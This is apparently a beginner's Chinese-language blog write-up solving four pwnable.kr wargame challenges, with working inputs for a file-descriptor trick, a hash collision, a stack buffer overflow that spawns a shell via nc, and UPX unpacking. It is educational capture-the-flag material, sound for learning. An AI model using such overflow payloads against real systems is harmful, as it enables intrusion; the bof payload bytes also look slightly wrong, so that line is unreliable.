pwnable.kr Writeup Part 1

由于近期事情比较多(人也比较浮躁比较摸),就一直没有去写自己的第一篇 blog,终于东拼西凑挤出时间把 pwnable.kr 的前三个做出来了(从零开始一点点学),于是心血来潮想写成我的第一篇 blog。

Disclaimer

本文主要是记录自己从零开始学习 binary exploit,可能存在大量错误,如有差错请指正。

进度

目前已完成前三个,正在抽时间往后做。

Update 02/24/2020: 做出了第四个,以后更新每个 article 放 5 道题。

Update 11/20/2023: 世事难预料,虽然做出来了,但感觉没有写的动力了。

正文

fd

根据提示Mommy! what is a file descriptor in Linux? 大概可以知道这道题与 file descriptor 有关系。

SSH 到服务器上,可以找到这个题目的源码fd.c。存在flag且当前用户组无权访问,有可执行文件fdflag同组,且带有setgid,因此,要通过fd获取 flag。研究源代码,在输出 flag 之前,存在一个字符串的对比,需要输入为LETMEWIN,而在调用它之前有调用 read()函数,通过 man page 可知这个函数是在 file descriptor 中读取到 buffer。通过查阅维基百科可知,file descriptor 中 0 为 stdin。思路是从stdin通过read()输入LETMEWIN

而在调用read()之前,有atoi() - 0x1234,而 atoi 使用了用户输入,目标是使atio() - 0x1234的值为 0。而atoi()是将输入的字符串转为整型。那么需要先将 0x1234 转为十进制输入即可。

1
2
./fd 4660
LETMEWIN

collision

通过研究题目给的源代码,可以确定它将用户输入的 char 型(1 byte)变量使用强制类型转换转换为了 int 型(4 bytes),再将其求和。可以将目标的数值除以 5(由于不是整数,得到结果后进行微调即可)转化为二进制再转回 char 型输出其 16 进制即可。

1
./col $(echo -e "\xcc\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06")

bof

查看题目所给出的源码,发现func()会在特定的条件下开启一个 shell,即key == 0xcafebabe时,而key作为传入的参数且为0xdeadbeef。此时需要从overflowme[32]着手。通过阅读资料Buffer overflow attacks explained可知,overflowme是存储在 stack 上的,且 stack 是向低地址扩张的且数组类变量的下标是从低地址向高地址递增的。而从overflowmekey有多大并不是很清楚,将服务器上编译完的 binary 拖下来,使用 gdb 进行分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb bof
(gdb) b func # 给func()上断点
(gdb) r
(gdb) x/20i $pc # 找比较key的部分
0x56555654 <func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
(gdb) b *0x56555654 # 给这一部分上断点
(gdb) c
overflow me :
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) x/40x $esp
0xffffd4e0: 0x41414141 0x41414141 0x41414141 0x41414141
...
0xffffd510: 0xdeadbeef

共需要 13*4 = 52 个字符才需能覆盖到原始的 key。因此需要构建一个 payload,然后将其 pipe 到相应的 binary。(刚开始一直是没有 overwrite 成功,最后试了下 pwntools 才成功的,具体原因可参考这里what is the difference between “python -c ‘print’ ” and “(python -c ‘print’; cat)” in linux)

1
2
3
4
5
python -c "print('A'*52+'\xbe\xba\xfe\xbe')" > payload
# (cat payload.bin && cat) | ./bof
(cat payload.bin && cat) | nc pwnable.kr 9000
ls
cat flag

flag

看题目大概是一个逆向,将 binary 用wget拖下来,用strings看一下,发现有UPX!字样且gdb无法找到 entry point。判断 binary 使用了 UPX 进行加壳。使用 UPX 工具去壳后即可。

1
2
upx -d flag
strings flag

TO BE UPDATED

咕咕咕 在做了在做了